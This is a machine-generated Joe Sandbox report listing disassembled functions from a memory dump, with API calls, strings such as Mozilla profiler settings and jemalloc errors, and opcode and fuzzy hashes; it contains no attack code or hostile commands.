Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0f9fc76a0a1a534eaa5b65fc9207dd6cca79d2fd2fc41735337807ad4b874f71
Instruction ID: ded118e5db9583e04f1ad4e5db2362973c6ba8872cc5d7a01e37271659699284
Opcode Fuzzy Hash: 0f9fc76a0a1a534eaa5b65fc9207dd6cca79d2fd2fc41735337807ad4b874f71
Instruction Fuzzy Hash: 1B014B70B01781CBDF008FA8D964A6633BDF70B398F100529E90186B40F77BA4588E12

Function 6C3505F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C34CFAE,?,?,?,6C3131A7), ref: 6C3505FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C34CFAE,?,?,?,6C3131A7), ref: 6C350616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C3131A7), ref: 6C35061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C3131A7), ref: 6C350627

Strings

<jemalloc>, xrefs: 6C3505FA, 6C35060F
: (malloc) Error in VirtualFree(), xrefs: 6C35061B, 6C350625

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 374222c6e0fad5588be8926a3258e544d91bf9d41d40a6b1e0dd43990ca5d7e0
Instruction ID: 22cf916dcb3e03c7bea01e2f4e3dd52de4ad0d6880f5a143ef4f15973502cbaa
Opcode Fuzzy Hash: 374222c6e0fad5588be8926a3258e544d91bf9d41d40a6b1e0dd43990ca5d7e0
Instruction Fuzzy Hash: 4BE08CE2A0201037F5142266BC86DBB761CDBC6138F080139FE0E82301E98EAD1A95F7

Function 6C36DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C36DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C36D38A,?), ref: 6C36DC6F
free.MOZGLUE(?,?,?,?,?,6C36D38A,?), ref: 6C36DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C36D38A,?), ref: 6C36DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C36D38A,?), ref: 6C36DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C36D38A,?), ref: 6C36DD4A

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 9ae3b4c7a2e73ab4378c3cfcdf680ae7bdc47c329ab30c4afebf33d2ecba2a22
Instruction ID: 7c3c2026fc425c08b3101ba44fcc8117fe8eef491a5ace003cf7d5c203ec2ba0
Opcode Fuzzy Hash: 9ae3b4c7a2e73ab4378c3cfcdf680ae7bdc47c329ab30c4afebf33d2ecba2a22
Instruction Fuzzy Hash: 08415CB5A00615CFCB00DF9AC88099AB7FAFF89318B654569D945ABB15E772FC00CF90

Function 6C360C90 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C360CD5

Part of subcall function 6C34F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C34F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C360D40
free.MOZGLUE ref: 6C360DCB

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

free.MOZGLUE ref: 6C360DDD
free.MOZGLUE ref: 6C360DF2

Strings

$me/, xrefs: 6C360CA2

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID: $me/
API String ID: 4069420150-2210144079
Opcode ID: 0b4772a4f6bc7fec1dd57bf6af640ee4347e31d62592c12530cbc70632da47db
Instruction ID: 3b6a3dc2ca2f9db735d1fa0218e058444b467248dd827a435aa6be2fd0aaf564
Opcode Fuzzy Hash: 0b4772a4f6bc7fec1dd57bf6af640ee4347e31d62592c12530cbc70632da47db
Instruction Fuzzy Hash: 854115759097849BD720DF2AC08179AFBE5BFC9714F108A2EE8D887B50D7709845CF92

Function 6C350800 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C350838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C35084C
EnterCriticalSection.KERNEL32(?), ref: 6C3508AF
LeaveCriticalSection.KERNEL32(?), ref: 6C3508BD
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C3508D5

Strings

$me/, xrefs: 6C35081C

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID: $me/
API String ID: 837921583-2210144079
Opcode ID: bd649c25bdbae78363322cc8a2ed4bb57c6089c7a3fb68c040ec8a419a366611
Instruction ID: 97129c2239e44862e0c33e08432d1d144d5056f50b2b18c780877a53e7c3f64a
Opcode Fuzzy Hash: bd649c25bdbae78363322cc8a2ed4bb57c6089c7a3fb68c040ec8a419a366611
Instruction Fuzzy Hash: 2321AF32B012499BEB048FA5D884FAE73B9BF4570DF940528D919A7A40EB37A8148FD1

Function 6C321720 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C3217B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C3218EE
free.MOZGLUE(?), ref: 6C321911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C32194C

Strings

$me/, xrefs: 6C32172B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID: $me/
API String ID: 3725304770-2210144079
Opcode ID: 6712ed6dd48f6f04151ce9ce38fe378b7b82306d69638ec71bbd0534803f47a5
Instruction ID: 7e20589999dbbbcddfa698a8add33959cf0860eb3e9b72ef6959b50ef4e84fc3
Opcode Fuzzy Hash: 6712ed6dd48f6f04151ce9ce38fe378b7b82306d69638ec71bbd0534803f47a5
Instruction Fuzzy Hash: 71819A70A152059FCF08CF68D9C49AEBBB5FF89314B04462CE851AB754DB36E944CFA2

Function 6C371700 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C371800

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

Part of subcall function 6C314290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C353EBD,6C353EBD,00000000), ref: 6C3142A9

Strings

name, xrefs: 6C371939
$me/, xrefs: 6C371708, 6C37183C
{marker.name} - {marker.data.name}, xrefs: 6C3718C7
Details, xrefs: 6C371925

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: $me/$Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-3510460377
Opcode ID: 1898517d099f9dce6e3c85a2f4e081424d2902af42c50b1a9a3046b98d0b123d
Instruction ID: bc0b2fc9375e2dda0bf72867fead04799de60a89e40b6779b3a7fecea1eb4b03
Opcode Fuzzy Hash: 1898517d099f9dce6e3c85a2f4e081424d2902af42c50b1a9a3046b98d0b123d
Instruction Fuzzy Hash: F67103B1A0034A9FC704DF28C45079ABBB5FF49304F044669D8594BB41E775EA98CFE2

Function 6C33D468 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

EnterCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D4F2
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D50B

Part of subcall function 6C31CFE0: EnterCriticalSection.KERNEL32(6C39E784), ref: 6C31CFF6
Part of subcall function 6C31CFE0: LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C31D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D52E
EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C33D690
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D751

Strings

$me/, xrefs: 6C33D4E2
MOZ_CRASH(), xrefs: 6C33D4BB

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: $me/$MOZ_CRASH()
API String ID: 3805649505-620148237
Opcode ID: 54ca233905a726d2833658255d8c3a33c3101abe9a7a2fb8f2cb51cc68e68e77
Instruction ID: 27b34337b88e05a05be1fb6b5e8b0347fb7f9fda1d76cb2f95a26a7d7766ef96
Opcode Fuzzy Hash: 54ca233905a726d2833658255d8c3a33c3101abe9a7a2fb8f2cb51cc68e68e77
Instruction Fuzzy Hash: 5851F271A047518FD318CF29C09461AB7F5FB89304F64892EE5AAC7B84E772E804CF92

Function 6C364630 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C364721

Strings

$me/, xrefs: 6C3646EF
-%llu, xrefs: 6C364733
profiler-paused, xrefs: 6C3646E4
., xrefs: 6C36476A

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: __aulldiv
String ID: $me/$-%llu$.$profiler-paused
API String ID: 3732870572-2824700050
Opcode ID: 2e3a4f13f751655b43788da2bdb96300d06836854ebda5010c8db26f7b18d8e0
Instruction ID: 9c671b07e472c564cb1c73d16495900fa8cf245f03f41506e5092c1c1c38dba7
Opcode Fuzzy Hash: 2e3a4f13f751655b43788da2bdb96300d06836854ebda5010c8db26f7b18d8e0
Instruction Fuzzy Hash: D6416871E047089FCB08DF7AE85115EBBE9EF86744F10863EE8555BB45EB3198448B82

Function 6C389830 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C38985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C38987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C3898DE

Strings

$me/, xrefs: 6C389839, 6C38991B
ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C3898D9

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: $me/$ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-465638684
Opcode ID: 0a775bab9033b5b24e2574c0cb58198f7c8c8cf64fddf5ba621a2ddd8ce35e70
Instruction ID: 68b177ac9d89a8ed243d30a04fdf26cd441fa49d3593454c574cdccdae9897d0
Opcode Fuzzy Hash: 0a775bab9033b5b24e2574c0cb58198f7c8c8cf64fddf5ba621a2ddd8ce35e70
Instruction Fuzzy Hash: 84310871B002085BDB14AF59DC445EE77E9DF88318F40842DEA5A9BB40DB319905CFD2

Function 6C3646E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C364721

Part of subcall function 6C314410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C353EBD,00000017,?,00000000,?,6C353EBD,?,?,6C3142D2), ref: 6C314444

Strings

$me/, xrefs: 6C3646EF
-%llu, xrefs: 6C364733
profiler-paused, xrefs: 6C3646E4
., xrefs: 6C36476A

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: $me/$-%llu$.$profiler-paused
API String ID: 680628322-2824700050
Opcode ID: 946ab77ff8daf12541ffbc8112ddeed62f04ac3d1f294f6dc6b72aaf2700016d
Instruction ID: 45ddd33d6b3c4673229e50015c82c68a7b44e396f7ff4f17a827dd95fbcdde06
Opcode Fuzzy Hash: 946ab77ff8daf12541ffbc8112ddeed62f04ac3d1f294f6dc6b72aaf2700016d
Instruction Fuzzy Hash: C7316871F042084FCB0CDF6ED89129EBBE6DB89314F14813EE8159BB84EB7198048F90

Function 6C3777D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3777FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C377829

Part of subcall function 6C34CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C3131A7), ref: 6C34CC45
Part of subcall function 6C34CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C3131A7), ref: 6C34CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C37789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C3778CF

Part of subcall function 6C314DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C314E5A
Part of subcall function 6C314DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C314E97

Part of subcall function 6C314290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C353EBD,6C353EBD,00000000), ref: 6C3142A9

Strings

$me/, xrefs: 6C3777E0, 6C377894

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID: $me/
API String ID: 2525797420-2210144079
Opcode ID: 02f0389ba18fe6dc861f46a2fb50f5451c805fb5563f094b2f75ab79a5d26ef4
Instruction ID: f8b7ca7faacc336c60ff78cd3bd3f75022379fe5dd4927571f90474e339f4a3f
Opcode Fuzzy Hash: 02f0389ba18fe6dc861f46a2fb50f5451c805fb5563f094b2f75ab79a5d26ef4
Instruction Fuzzy Hash: 0441AE71904B469FD301DF29D48056AFBF4FF8A258F204A2DE4E987640EB31D55ACB92

Function 6C36B410 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C314290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C353EBD,6C353EBD,00000000), ref: 6C3142A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C36B127), ref: 6C36B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C36B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C36B4E4

Strings

$me/, xrefs: 6C36B419
pid:, xrefs: 6C36B4DE

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: $me/$pid:
API String ID: 1720406129-401874262
Opcode ID: 309b1d9a52d077655230ede2ca47f3c701a09abdb0d072872e4316ba7a5adb6a
Instruction ID: f6dfa5a010a24e18feca1c116345f5a3bb1dec0176889adfd85e40a80e5936ac
Opcode Fuzzy Hash: 309b1d9a52d077655230ede2ca47f3c701a09abdb0d072872e4316ba7a5adb6a
Instruction Fuzzy Hash: 2D311331A012089BDB11DFAAD880AEEB7B9BF4430CF540529E9416BF45D732E845DFA1

Function 6C356470 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C3582BC,?,?), ref: 6C35649B

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3564A9

Part of subcall function 6C34FA80: GetCurrentThreadId.KERNEL32 ref: 6C34FA8D
Part of subcall function 6C34FA80: AcquireSRWLockExclusive.KERNEL32(6C39F448), ref: 6C34FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C35653F
free.MOZGLUE(?), ref: 6C35655A

Strings

$me/, xrefs: 6C356482

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID: $me/
API String ID: 3596744550-2210144079
Opcode ID: 3473f2ce832acd97c3a23b303b3f2961d293a8fc4a29f2d025625fe9c36ca39d
Instruction ID: 3347cb2386b9332946636a027a27d16b724816a5d9bf272ecc386c63f0d29cca
Opcode Fuzzy Hash: 3473f2ce832acd97c3a23b303b3f2961d293a8fc4a29f2d025625fe9c36ca39d
Instruction Fuzzy Hash: 103181B5A043059FD700CF25D880A9EB7F4BF88314F40482DE89A97744D734E918CF92

Function 6C3774A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C377526
__Init_thread_footer.LIBCMT ref: 6C377566
__Init_thread_footer.LIBCMT ref: 6C377597

Strings

kernel32.dll, xrefs: 6C377557
UnmapViewOfFile2, xrefs: 6C377552

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 51d39aae44c525ab64b1e9e4c78a1871b6cbfbcdba7040adde4bbc75d673c99a
Instruction ID: 5bf42659acc1aee17ef7f2b9194dbf70f683bcba4a643307586fe2d7bb98f75f
Opcode Fuzzy Hash: 51d39aae44c525ab64b1e9e4c78a1871b6cbfbcdba7040adde4bbc75d673c99a
Instruction Fuzzy Hash: 12210A31700501A7CF258FE5D854ED933BDEB4B7B8B104528F80647B40E77AA8118EBA

Function 6C35E550 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C35E577
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35E584
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C35E8A6

Strings

$me/, xrefs: 6C35E2FB, 6C35E399, 6C35E55C
MOZ_PROFILER_STARTUP, xrefs: 6C35E5A1, 6C35E5CC, 6C35E5FF, 6C35E62A
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C35E826, 6C35E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C35E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C35E722, 6C35E750, 6C35E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C35E777

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

